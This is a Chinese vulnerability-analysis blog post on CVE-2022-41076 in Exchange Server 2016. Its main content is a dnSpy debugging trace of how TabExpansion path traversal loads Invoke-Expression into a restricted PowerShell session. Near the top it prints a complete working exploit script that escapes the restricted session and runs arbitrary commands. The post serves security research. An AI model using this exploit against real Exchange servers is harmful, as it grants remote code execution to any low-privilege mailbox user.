type
Post
status
Published
date
Feb 2, 2023
slug
123
summary
代码调试和堆栈跟踪
tags
C#
category
漏洞分析
icon
password
漏洞编号
CVE-2022-41076
No.
同步状态
状态
已完成
Author
环境漏洞详情(CVE-2022-41076)dnspy调试三步攻击过程第一步 目录穿越加载外部dll(Import-Module)第二步 加载外部dll的cmdlet(Invoke-Expression)第三步 cmdlet执行其他命令白名单cmdlet调用参考
PS:简单记录一下过程中的关键步骤和数据,相关知识点未作科普,言之无文
环境
Windows Server 2016 x64
Exchange Server 2016 CU21 build15.1.2308.27
已知一个普通用户类型的Exchange账号密码
漏洞详情(CVE-2022-41076)
- 正常功能使用
普通exchange用户可以创建受限的远程powershell会话,此会话仅能运行白名单Exchange cmdlet+一些核心cmdlet,如Get-Command,Get-Mailbox,Get-Help等,代码如下
(参数备注:123123 为 用户密码,ceshi\Administrator 为 域\用户名,winser2016.ceshi.com 为 主机名.域名)
$secureString = ConvertTo-SecureString -String "123123" -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "ceshi\Administrator", $secureString $sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://winser2016.ceshi.com/powershell -Credential $UserCredential -Authentication Kerberos -AllowRedirection -SessionOption $sessionOption Invoke-Command -Session $Session -ScriptBlock {get-mailbox}
- 漏洞攻击过程
创建 powershell 会话时,攻击者传递
ApplicationArguments
参数WSManStackVersion<3.0
,在 initialSessionState
中启用公共 TabExpansion
函数,最终可以在受限的 powershell 会话中越权调用它。此命令可以通过
-line
参数导入、加载任意模块,在此参数中利用路径遍历从文件系统中加载任意dll模块导入当前对话,自此可以不受限制的使用powershell危险的cmdletInvoke-Expression
。利用代码如下$secureString = ConvertTo-SecureString -String "123123" -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "ceshi\Administrator", $secureString $version = New-Object -TypeName System.Version -ArgumentList "2.0" $mytable = $PSversionTable $mytable["WSManStackVersion"] = $version $sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable} $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://winser2016.ceshi.com/powershell -Credential $UserCredential -Authentication Kerberos -AllowRedirection -SessionOption $sessionOption Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" } Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" } #获取当前用户名 Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "(new-object System.Diagnostics.Process)::Start('mspaint.exe')" } #起进程
对应
w3wp.exe
进程命令行参数c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangePowerShellAppPool" -v "v4.0" -c "C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config" -a \\.\pipe\iisipma9729832-72e5-4c1a-bc52-b65a3c673a69 -h "C:\inetpub\temp\apppools\MSExchangePowerShellAppPool\MSExchangePowerShellAppPool.config" -w "" -m 0
dnspy调试
- 路径
C:\Windows\System32\inetsrv
下,cmd命令appcmd list wp
查看iis进程
- dnspy附加对应进程(可通过POC起进程时其父w3wp.exe进程的命令行确定),调试→附加到进程,根据pid附加
MSExchangePowerShellAppPool
的w3wp.exe
进程
- 调试→窗口→模块,打开模块窗口,此处有两个
System.Management.Automation.dll
,分别调试在DefaultDomain中和独立的Powershell appdomain中,经过下断点测试,参数传递的是独立app域中的dll,双击加载
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
从分析文章 OWASSRF + TabShell 漏洞利用链 (viettelcybersecurity.com) 初步确定关键函数是加载外部模块的函数
LoadBinaryModule(Microsoft.PowerShell.Commands.ModuleCmdletBase)
- 打下断点启动调试
发poc,成功断下
三步攻击过程
第一步 目录穿越加载外部dll(Import-Module)
在
System.Management.Automation.CommandDiscovery
类和LookupCommandInfo
方法中。首先使用
TryNormalSearch
方法,但如果找不到命令(null),则将调用 TryModuleAutoLoading
方法。在 TryModuleAutoLoading
方法中,模块名称(text2 变量)将从 commandName
解析然后模块将使用自动加载指定模块方法加载dll模块和cmdlet
在
AutoloadSpecifiedMoudle
方法cmdlet赋值为 Import-Module
接着来到
LoadBinaryModule
方法,查看局部变量获取到传入的 moduleName
和 fileName
,在此处加载dll堆栈
返回到
processrecord
第二步 加载外部dll的cmdlet(Invoke-Expression)
在
System.Management.Automation.CommandDiscovery
类的LookupCommandInfo
方法在
System.Management.Automation.dll!System.Management.Automation.CommandDiscovery.TryModuleAutoLoading(string commandName, System.Management.Automation.ExecutionContext context, string originalCommandName, System.Management.Automation.CommandOrigin commandOrigin, System.Management.Automation.CommandInfo result, ref System.Exception lastError) (IL≈0x0182, Native=0x00007FFC4D902FD0+0x40D)
打下断点这里拿到
commandinfo
为Invoke-Expression
此时的调用栈
后续CreateCommandProcessor
堆栈
第三步 cmdlet执行其他命令
接着上一步获取到iex的参数为
堆栈
返回值commandProcessorBase
堆栈
加载cmdlet后,在
Microsoft.Powershell.Commands.Utility.dll
(appdomain)模块中 Microsoft.Powershell.Commands.InvokeExpressionCommand
类 断下,逐过程调试,在 System.Management.Automation.dll!System.Management.Automation.CommandProcessor.ProcessRecord() (IL=0x0175, Native=0x00007FFC4D86B9B0+0x50D)
获取到cmdlet的参数,即执行的命令此时的调用栈
逐语句跟进到
InvokeWithPipeLmpl
,经 RunVoid1
来到 Interpreter
的Run
函数执行命令
完整堆栈
最后返回值
继续调试另一个iex命令
解析iex命令的时候对new-object这个cmdlet又进行了lookup
此时调用栈
之后来到doexecute
此时堆栈
白名单cmdlet调用
TryNormalSearch
断点接着来到这,在
System.Management.Automation.CommandProcessor
类的ProcessRecord
方法打断点此时的调用栈
最后经过
Run
函数(System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction)捕获异常执行成功时堆栈
执行完命令结束程序时的堆栈
参考
- 作者:3R1CCHENG
- 链接:https://notion-3r1c.vercel.app//article/123
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。